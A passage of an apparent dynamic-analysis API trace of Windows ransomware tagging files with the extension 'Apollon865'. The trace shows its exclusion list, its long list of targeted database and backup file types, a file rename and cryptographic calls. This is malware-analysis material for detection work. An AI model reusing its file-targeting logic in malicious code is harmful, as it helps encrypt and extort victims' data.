	[0058.840] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1
	[0058.840] lstrlenW (lpString="mud") returned 3
	[0058.840] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1
	[0058.840] lstrlenW (lpString="mwb") returned 3
	[0058.840] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1
	[0058.840] lstrlenW (lpString="myd") returned 3
	[0058.840] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1
	[0058.840] lstrlenW (lpString="ndf") returned 3
	[0058.840] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1
	[0058.840] lstrlenW (lpString="nnt") returned 3
	[0058.840] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1
	[0058.840] lstrlenW (lpString="nrmlib") returned 6
	[0058.840] lstrcmpiW (lpString1="rs.htm", lpString2="nrmlib") returned 1
	[0058.840] lstrlenW (lpString="ns2") returned 3
	[0058.840] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1
	[0058.840] lstrlenW (lpString="ns3") returned 3
	[0058.840] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1
	[0058.840] lstrlenW (lpString="ns4") returned 3
	[0058.840] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1
	[0058.840] lstrlenW (lpString="nsf") returned 3
	[0058.840] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1
	[0058.840] lstrlenW (lpString="nv") returned 2
	[0058.840] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1
	[0058.840] lstrlenW (lpString="nv2") returned 3
	[0058.840] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1
	[0058.840] lstrlenW (lpString="nwdb") returned 4
	[0058.840] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1
	[0058.840] lstrlenW (lpString="nyf") returned 3
	[0058.840] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1
	[0058.840] lstrlenW (lpString="odb") returned 3
	[0058.840] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0058.840] lstrlenW (lpString="odb") returned 3
	[0058.840] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0058.840] lstrlenW (lpString="oqy") returned 3
	[0058.841] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1
	[0058.841] lstrlenW (lpString="ora") returned 3
	[0058.841] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1
	[0058.841] lstrlenW (lpString="orx") returned 3
	[0058.841] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1
	[0058.841] lstrlenW (lpString="owc") returned 3
	[0058.841] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1
	[0058.841] lstrlenW (lpString="p96") returned 3
	[0058.841] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1
	[0058.841] lstrlenW (lpString="p97") returned 3
	[0058.841] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1
	[0058.841] lstrlenW (lpString="pan") returned 3
	[0058.841] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1
	[0058.841] lstrlenW (lpString="pdb") returned 3
	[0058.841] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1
	[0058.841] lstrlenW (lpString="pdm") returned 3
	[0058.841] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1
	[0058.841] lstrlenW (lpString="pnz") returned 3
	[0058.841] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1
	[0058.841] lstrlenW (lpString="qry") returned 3
	[0058.841] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1
	[0058.841] lstrlenW (lpString="qvd") returned 3
	[0058.841] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1
	[0058.841] lstrlenW (lpString="rbf") returned 3
	[0058.841] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1
	[0058.841] lstrlenW (lpString="rctd") returned 4
	[0058.841] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1
	[0058.841] lstrlenW (lpString="rod") returned 3
	[0058.841] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1
	[0058.841] lstrlenW (lpString="rodx") returned 4
	[0058.841] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1
	[0058.841] lstrlenW (lpString="rpd") returned 3
	[0058.841] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1
	[0058.841] lstrlenW (lpString="rsd") returned 3
	[0058.842] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1
	[0058.842] lstrlenW (lpString="sas7bdat") returned 8
	[0058.842] lstrcmpiW (lpString1="ears.htm", lpString2="sas7bdat") returned -1
	[0058.842] lstrlenW (lpString="sbf") returned 3
	[0058.842] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1
	[0058.842] lstrlenW (lpString="scx") returned 3
	[0058.842] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1
	[0058.842] lstrlenW (lpString="sdb") returned 3
	[0058.842] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1
	[0058.842] lstrlenW (lpString="sdc") returned 3
	[0058.842] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1
	[0058.842] lstrlenW (lpString="sdf") returned 3
	[0058.842] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1
	[0058.842] lstrlenW (lpString="sis") returned 3
	[0058.842] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1
	[0058.842] lstrlenW (lpString="spq") returned 3
	[0058.842] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1
	[0058.842] lstrlenW (lpString="te") returned 2
	[0058.842] lstrcmpiW (lpString1="tm", lpString2="te") returned 1
	[0058.842] lstrlenW (lpString="teacher") returned 7
	[0058.842] lstrcmpiW (lpString1="ars.htm", lpString2="teacher") returned -1
	[0058.842] lstrlenW (lpString="tmd") returned 3
	[0058.842] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1
	[0058.842] lstrlenW (lpString="tps") returned 3
	[0058.842] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1
	[0058.842] lstrlenW (lpString="trc") returned 3
	[0058.842] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0058.842] lstrlenW (lpString="trc") returned 3
	[0058.842] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0058.842] lstrlenW (lpString="trm") returned 3
	[0058.842] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1
	[0058.842] lstrlenW (lpString="udb") returned 3
	[0058.842] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1
	[0058.842] lstrlenW (lpString="udl") returned 3
	[0058.842] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1
	[0058.843] lstrlenW (lpString="usr") returned 3
	[0058.843] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1
	[0058.843] lstrlenW (lpString="v12") returned 3
	[0058.843] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1
	[0058.843] lstrlenW (lpString="vis") returned 3
	[0058.843] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1
	[0058.843] lstrlenW (lpString="vpd") returned 3
	[0058.843] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1
	[0058.843] lstrlenW (lpString="vvv") returned 3
	[0058.843] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1
	[0058.843] lstrlenW (lpString="wdb") returned 3
	[0058.843] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1
	[0058.843] lstrlenW (lpString="wmdb") returned 4
	[0058.843] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1
	[0058.843] lstrlenW (lpString="wrk") returned 3
	[0058.843] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1
	[0058.843] lstrlenW (lpString="xdb") returned 3
	[0058.843] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1
	[0058.843] lstrlenW (lpString="xld") returned 3
	[0058.843] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1
	[0058.843] lstrlenW (lpString="xmlff") returned 5
	[0058.843] lstrcmpiW (lpString1="s.htm", lpString2="xmlff") returned -1
	[0058.843] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.Apollon865") returned 85
	[0058.843] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm.apollon865"), dwFlags=0x1) returned 1
	[0058.844] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0058.844] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=255) returned 1
	[0058.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0058.847] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0058.847] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0058.847] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0058.848] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0058.848] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0058.848] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x400, lpName=0x0) returned 0x15c
	[0058.851] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x400) returned 0x100000
	[0058.852] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0058.853] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0058.853] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0058.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0058.853] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0058.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0058.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0058.853] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0058.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0058.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0058.853] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0058.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0058.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0058.854] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0058.854] CloseHandle (hObject=0x15c) returned 1
	[0058.854] CloseHandle (hObject=0x150) returned 1
	[0058.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0058.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0058.854] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1
	[0058.854] lstrcmpiW (lpString1="Bears.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.854] lstrcmpiW (lpString1="Bears.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0058.854] lstrcmpiW (lpString1="Bears.jpg", lpString2=".") returned 1
	[0058.854] lstrcmpiW (lpString1="Bears.jpg", lpString2="..") returned 1
	[0058.854] lstrcmpiW (lpString1="Bears.jpg", lpString2="windows") returned -1
	[0058.854] lstrcmpiW (lpString1="Bears.jpg", lpString2="bootmgr") returned -1
	[0058.854] lstrcmpiW (lpString1="Bears.jpg", lpString2="temp") returned -1
	[0058.854] lstrcmpiW (lpString1="Bears.jpg", lpString2="pagefile.sys") returned -1
	[0058.854] lstrcmpiW (lpString1="Bears.jpg", lpString2="boot") returned -1
	[0058.854] lstrcmpiW (lpString1="Bears.jpg", lpString2="ids.txt") returned -1
	[0058.854] lstrcmpiW (lpString1="Bears.jpg", lpString2="ntuser.dat") returned -1
	[0058.854] lstrcmpiW (lpString1="Bears.jpg", lpString2="perflogs") returned -1
	[0058.854] lstrcmpiW (lpString1="Bears.jpg", lpString2="MSBuild") returned -1
	[0058.855] lstrlenW (lpString="Bears.jpg") returned 9
	[0058.855] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm") returned 74
	[0058.855] lstrcpyW (in: lpString1=0x119e68a, lpString2="Bears.jpg" | out: lpString1="Bears.jpg") returned="Bears.jpg"
	[0058.855] lstrlenW (lpString="Bears.jpg") returned 9
	[0058.855] lstrlenW (lpString="Apollon865") returned 10
	[0058.855] lstrlenW (lpString=".dll") returned 4
	[0058.855] lstrcmpiW (lpString1="Bears.jpg", lpString2=".dll") returned 1
	[0058.855] lstrlenW (lpString=".lnk") returned 4
	[0058.855] lstrcmpiW (lpString1="Bears.jpg", lpString2=".lnk") returned 1
	[0058.855] lstrlenW (lpString=".ini") returned 4
	[0058.855] lstrcmpiW (lpString1="Bears.jpg", lpString2=".ini") returned 1
	[0058.855] lstrlenW (lpString=".sys") returned 4
	[0058.855] lstrcmpiW (lpString1="Bears.jpg", lpString2=".sys") returned 1
	[0058.855] lstrlenW (lpString="Bears.jpg") returned 9
	[0058.855] lstrlenW (lpString="bak") returned 3
	[0058.855] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0058.855] lstrlenW (lpString="ba_") returned 3
	[0058.855] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0058.855] lstrlenW (lpString="dbb") returned 3
	[0058.855] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0058.855] lstrlenW (lpString="vmdk") returned 4
	[0058.855] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0058.855] lstrlenW (lpString="rar") returned 3
	[0058.855] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0058.855] lstrlenW (lpString="zip") returned 3
	[0058.855] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0058.855] lstrlenW (lpString="tgz") returned 3
	[0058.855] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0058.855] lstrlenW (lpString="vbox") returned 4
	[0058.855] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0058.855] lstrlenW (lpString="vdi") returned 3
	[0058.855] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0058.855] lstrlenW (lpString="vhd") returned 3
	[0058.855] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0058.855] lstrlenW (lpString="vhdx") returned 4
	[0058.856] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0058.856] lstrlenW (lpString="avhd") returned 4
	[0058.856] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0058.856] lstrlenW (lpString="db") returned 2
	[0058.856] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0058.856] lstrlenW (lpString="db2") returned 3
	[0058.856] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0058.856] lstrlenW (lpString="db3") returned 3
	[0058.856] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0058.856] lstrlenW (lpString="dbf") returned 3
	[0058.856] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0058.856] lstrlenW (lpString="mdf") returned 3
	[0058.856] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0058.856] lstrlenW (lpString="mdb") returned 3
	[0058.856] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0058.856] lstrlenW (lpString="sql") returned 3
	[0058.856] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0058.856] lstrlenW (lpString="sqlite") returned 6
	[0058.856] lstrcmpiW (lpString1="rs.jpg", lpString2="sqlite") returned -1
	[0058.856] lstrlenW (lpString="sqlite3") returned 7
	[0058.856] lstrcmpiW (lpString1="ars.jpg", lpString2="sqlite3") returned -1
	[0058.856] lstrlenW (lpString="sqlitedb") returned 8
	[0058.856] lstrcmpiW (lpString1="ears.jpg", lpString2="sqlitedb") returned -1
	[0058.856] lstrlenW (lpString="xml") returned 3
	[0058.856] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0058.856] lstrlenW (lpString="$er") returned 3
	[0058.856] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0058.856] lstrlenW (lpString="4dd") returned 3
	[0058.856] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0058.856] lstrlenW (lpString="4dl") returned 3
	[0058.856] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0058.856] lstrlenW (lpString="^^^") returned 3
	[0058.856] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0058.856] lstrlenW (lpString="abs") returned 3
	[0058.856] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0058.857] lstrlenW (lpString="abx") returned 3
	[0058.857] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0058.857] lstrlenW (lpString="accdb") returned 5
	[0058.857] lstrcmpiW (lpString1="s.jpg", lpString2="accdb") returned 1
	[0058.857] lstrlenW (lpString="accdc") returned 5
	[0058.857] lstrcmpiW (lpString1="s.jpg", lpString2="accdc") returned 1
	[0058.857] lstrlenW (lpString="accde") returned 5
	[0058.857] lstrcmpiW (lpString1="s.jpg", lpString2="accde") returned 1
	[0058.857] lstrlenW (lpString="accdr") returned 5
	[0058.857] lstrcmpiW (lpString1="s.jpg", lpString2="accdr") returned 1
	[0058.857] lstrlenW (lpString="accdt") returned 5
	[0058.857] lstrcmpiW (lpString1="s.jpg", lpString2="accdt") returned 1
	[0058.857] lstrlenW (lpString="accdw") returned 5
	[0058.857] lstrcmpiW (lpString1="s.jpg", lpString2="accdw") returned 1
	[0058.857] lstrlenW (lpString="accft") returned 5
	[0058.857] lstrcmpiW (lpString1="s.jpg", lpString2="accft") returned 1
	[0058.857] lstrlenW (lpString="adb") returned 3
	[0058.857] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0058.857] lstrlenW (lpString="adb") returned 3
	[0058.857] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0058.857] lstrlenW (lpString="ade") returned 3
	[0058.857] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0058.857] lstrlenW (lpString="adf") returned 3
	[0058.857] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0058.857] lstrlenW (lpString="adn") returned 3
	[0058.857] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0058.857] lstrlenW (lpString="adp") returned 3
	[0058.857] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0058.857] lstrlenW (lpString="alf") returned 3
	[0058.857] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0058.857] lstrlenW (lpString="ask") returned 3
	[0058.857] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0058.857] lstrlenW (lpString="btr") returned 3
	[0058.857] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0058.857] lstrlenW (lpString="cat") returned 3
	[0058.858] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0058.858] lstrlenW (lpString="cdb") returned 3
	[0058.858] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0058.858] lstrlenW (lpString="ckp") returned 3
	[0058.858] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0058.858] lstrlenW (lpString="cma") returned 3
	[0058.858] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0058.858] lstrlenW (lpString="cpd") returned 3
	[0058.858] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0058.858] lstrlenW (lpString="dacpac") returned 6
	[0058.858] lstrcmpiW (lpString1="rs.jpg", lpString2="dacpac") returned 1
	[0058.858] lstrlenW (lpString="dad") returned 3
	[0058.858] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0058.858] lstrlenW (lpString="dadiagrams") returned 10
	[0058.858] lstrlenW (lpString="daschema") returned 8
	[0058.858] lstrcmpiW (lpString1="ears.jpg", lpString2="daschema") returned 1
	[0058.858] lstrlenW (lpString="db-journal") returned 10
	[0058.858] lstrlenW (lpString="db-shm") returned 6
	[0058.858] lstrcmpiW (lpString1="rs.jpg", lpString2="db-shm") returned 1
	[0058.858] lstrlenW (lpString="db-wal") returned 6
	[0058.858] lstrcmpiW (lpString1="rs.jpg", lpString2="db-wal") returned 1
	[0058.858] lstrlenW (lpString="dbc") returned 3
	[0058.858] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0058.858] lstrlenW (lpString="dbs") returned 3
	[0058.858] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0058.858] lstrlenW (lpString="dbt") returned 3
	[0058.858] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0058.858] lstrlenW (lpString="dbv") returned 3
	[0058.858] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0058.858] lstrlenW (lpString="dbx") returned 3
	[0058.858] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0058.858] lstrlenW (lpString="dcb") returned 3
	[0058.858] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0058.858] lstrlenW (lpString="dct") returned 3
	[0058.859] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0058.859] lstrlenW (lpString="dcx") returned 3
	[0058.859] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0058.859] lstrlenW (lpString="ddl") returned 3
	[0058.859] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0058.859] lstrlenW (lpString="dlis") returned 4
	[0058.859] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0058.859] lstrlenW (lpString="dp1") returned 3
	[0058.859] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0058.859] lstrlenW (lpString="dqy") returned 3
	[0058.859] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0058.859] lstrlenW (lpString="dsk") returned 3
	[0058.859] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0058.859] lstrlenW (lpString="dsn") returned 3
	[0058.859] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0058.859] lstrlenW (lpString="dtsx") returned 4
	[0058.859] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0058.859] lstrlenW (lpString="dxl") returned 3
	[0058.859] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0058.859] lstrlenW (lpString="eco") returned 3
	[0058.859] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0058.859] lstrlenW (lpString="ecx") returned 3
	[0058.859] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0058.859] lstrlenW (lpString="edb") returned 3
	[0058.859] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0058.859] lstrlenW (lpString="epim") returned 4
	[0058.859] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0058.859] lstrlenW (lpString="fcd") returned 3
	[0058.859] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0058.859] lstrlenW (lpString="fdb") returned 3
	[0058.860] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0058.860] lstrlenW (lpString="fic") returned 3
	[0058.860] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0058.860] lstrlenW (lpString="flexolibrary") returned 12
	[0058.860] lstrlenW (lpString="fm5") returned 3
	[0058.860] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0058.860] lstrlenW (lpString="fmp") returned 3
	[0058.860] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0058.860] lstrlenW (lpString="fmp12") returned 5
	[0058.860] lstrcmpiW (lpString1="s.jpg", lpString2="fmp12") returned 1
	[0058.860] lstrlenW (lpString="fmpsl") returned 5
	[0058.860] lstrcmpiW (lpString1="s.jpg", lpString2="fmpsl") returned 1
	[0058.860] lstrlenW (lpString="fol") returned 3
	[0058.860] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0058.860] lstrlenW (lpString="fp3") returned 3
	[0058.860] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0058.860] lstrlenW (lpString="fp4") returned 3
	[0058.860] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0058.860] lstrlenW (lpString="fp5") returned 3
	[0058.860] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0058.860] lstrlenW (lpString="fp7") returned 3
	[0058.860] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0058.860] lstrlenW (lpString="fpt") returned 3
	[0058.860] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0058.860] lstrlenW (lpString="frm") returned 3
	[0058.860] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0058.860] lstrlenW (lpString="gdb") returned 3
	[0058.860] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0058.860] lstrlenW (lpString="gdb") returned 3
	[0058.860] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0058.860] lstrlenW (lpString="grdb") returned 4
	[0058.860] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0058.860] lstrlenW (lpString="gwi") returned 3
	[0058.860] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0058.860] lstrlenW (lpString="hdb") returned 3
	[0058.860] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0058.861] lstrlenW (lpString="his") returned 3
	[0058.861] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0058.861] lstrlenW (lpString="ib") returned 2
	[0058.861] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0058.861] lstrlenW (lpString="idb") returned 3
	[0058.861] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0058.861] lstrlenW (lpString="ihx") returned 3
	[0058.861] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0058.861] lstrlenW (lpString="itdb") returned 4
	[0058.861] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0058.861] lstrlenW (lpString="itw") returned 3
	[0058.861] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0058.861] lstrlenW (lpString="jet") returned 3
	[0058.861] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0058.861] lstrlenW (lpString="jtx") returned 3
	[0058.861] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0058.861] lstrlenW (lpString="kdb") returned 3
	[0058.861] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0058.861] lstrlenW (lpString="kexi") returned 4
	[0058.861] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0058.861] lstrlenW (lpString="kexic") returned 5
	[0058.861] lstrcmpiW (lpString1="s.jpg", lpString2="kexic") returned 1
	[0058.861] lstrlenW (lpString="kexis") returned 5
	[0058.861] lstrcmpiW (lpString1="s.jpg", lpString2="kexis") returned 1
	[0058.861] lstrlenW (lpString="lgc") returned 3
	[0058.861] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
